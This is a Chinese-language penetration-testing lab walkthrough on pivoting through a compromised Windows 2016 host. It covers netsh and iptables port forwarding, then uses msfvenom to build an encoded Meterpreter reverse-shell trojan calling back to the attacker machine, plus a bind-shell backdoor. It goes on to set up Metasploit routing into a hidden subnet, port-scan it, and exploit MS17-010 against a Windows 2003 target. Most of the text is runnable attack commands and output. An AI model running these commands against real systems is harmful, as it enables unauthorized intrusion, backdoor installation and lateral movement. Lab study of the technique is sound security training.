一、使用netsh进行端口转发
1、配置端口转发
(1)先在Windows7上启动一个Xampp的,服务(80)端口或者其他服务(2016可以进行访问,kali不能访问)
(2)在Windows2016服务器上,运行以下命令,完成端口转发
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.209.129 connectport=80
2、测试端口转发
(1)在Kali上访问http://192.168.3.35:8888/dashboard/phpinfo.php,PHPINFO显示这是一台Windows7的主机,端口转发成功
3、清除转发规则
netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset
一旦清除了,就无法在Kali上进行访问了
如果Windows2016的防火墙限制了8888端口访问,则此时端口转发将无法生效,所以,还需要寻找更多解决方法
4、Linux上进行端口转发
#iptables需要先开启:net.ipv4.ip_forward = 1 允许远程转发
iptablese -t nat -A POSTROUTING -d 192.168.153 -p tcp --dport 8088 -j SNAT --to 192.168.112.188
#firewall需要开启IP伪装:firewall-cmd --add-masquerade
firewall-cmd --add-forward-port=port=8888:proto=tcp:toaddr=101.37.65.91:toport=80
二、使用Meterpreter进行端口转发
1、为代理主机生成木马
msfvenom -e x64/xor_dynamic -p windows/meterpreter/reverse_tcp lhost=192.168.3.37 lport=4444 -f exe > win_shell.exe
2、为代理主机配置端口转发
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.37
set lport 4444
run
然后进到shell命令下面
运行chcp 65001
改成正常的编码格式
然后输入下面的命令
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.209.129 connectport=80
执行了这个命令之后,我们就相当于在2016这个主机上做了一个端口转发的事情
接下来为了能够让kali访问到windows7的80端口,我们只需要用Kali去访问一下2016的8888端口就可以了
然后去看一下2016的端口转发列表有没有正常的处理
netsh interface portproxy show all
#在Windows2016上启动木马,获取meterpreter,然后配置端口转发参数给windows 2016
直接在meterpreter中输入portfwd add -l 8889 -r 192.168.209.129 -p 80
然后直接在kali上直接访问localhost:8889即可
不仅仅是80端口服务可以,其他服务也是可以进行的
在Kali上访问Windows7的远程桌面
(1)先确保Windows7的远程桌面服务已经启动
按照上面的步骤,进入到meterpreter中
进入到shell
然后输入下面的命令
我们用2016帮助我们进行转发,先确认能不能连通,也看看执行的时候有没有报错
netsh interface portproxy add v4tov4 listenport=3399 connectaddress=192.168.209.129 connectport=3389
接下来的时候转到kali的终端上执行下面的命令
rdesktop 192.168.3.35:3399
三、使用meterpreter实现正向连接
1、生成正向后门
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
2、运行以下指令完成正向连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 4444
set rhosts 192.168.3.36
进入到shell之后,运行arp -a ,查看ARP缓存表,确定访问过的IP地址和网段
C:\Users\Administrator\Desktop>arp -a
arp -a
Interface: 192.168.3.39 --- 0x7
Internet Address Physical Address Type
192.168.3.1 c0-83-c9-09-12-a4 dynamic
192.168.3.38 00-0c-29-ff-9d-47 dynamic
192.168.3.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
Interface: 192.168.209.132 --- 0x10
Internet Address Physical Address Type
192.168.209.1 00-50-56-c0-00-01 dynamic
192.168.209.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
开启一个靶机2003,把它的网络连接设置到仅主机模式,将其藏到内网中
由于windows2016没有和靶机2003进行过ping,也没有进行过任何的连接,所以在2016的缓存表中不存在靶机2003的IP地址
我们先进去2016里面看看有没有路由,先进入meterpreter,然后使用命令run autoroute -p,告诉我们没有路由
使用命令run autoroute -s 192.168.209.0/24去增加对应网段的路由
也可以使用命令run post/multi/manage/autoroute 自动添加木马所在主机上的所有路由
如果实在msf的提示符下使用,也可以使用命令route add来添加路由,如route add 192.168.209.0/24 1(1代表的是Session ID)
然后使用命令run autoroute -p(Meterpreter)去打印路由(在MSF下使用route print)
进入MSF,use auxiliary/scanner/portscan/tcp进行端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.209.129
set ports 1-500
set threads 10
run
扫描服务各版本等
不能直接退出去,退出去的话木马就已经没了,无法进行路由
我们应该使用命令background,让木马继续在后台执行
然后查看一下路由,发现路由还在
接下来就执行上面的操作,这个时候,msf通过代理进入到192.168.209.0/24这个网段的内网,然后帮助我们扫描192.168.209.129的端口
扫描结果出来了
发现路由里面还有一个主机IP,就是192.168.209.133
set rhosts 192.168.209.133
set ports 21,22,25,80,3306,3389,445,5000,6000
set threads 5
run
经过一顿扫描,发现445端口开放
既然445端口开放,我们试着看看MS17-010是否可以使用
先去搜索一下MS17-010
use 10
set rhosts 192.168.209.133
或者可以使用命令show options来查看一下需要配置的东西
run
Exploit completed, but no session was created.木马已经上传成功,就是没有进入到meterpreter中,这种情况是怎么回事
kali可以通过木马植入到2016中去访问2003.但是2003不能去访问kali
是因为我们使用的是反向连接,这么说的话上面的情况就能说通
然后我们继续进行上面的操作,只是将反向连接变为正向连接,改一下payload即可
经过检验,成功地连接上了2003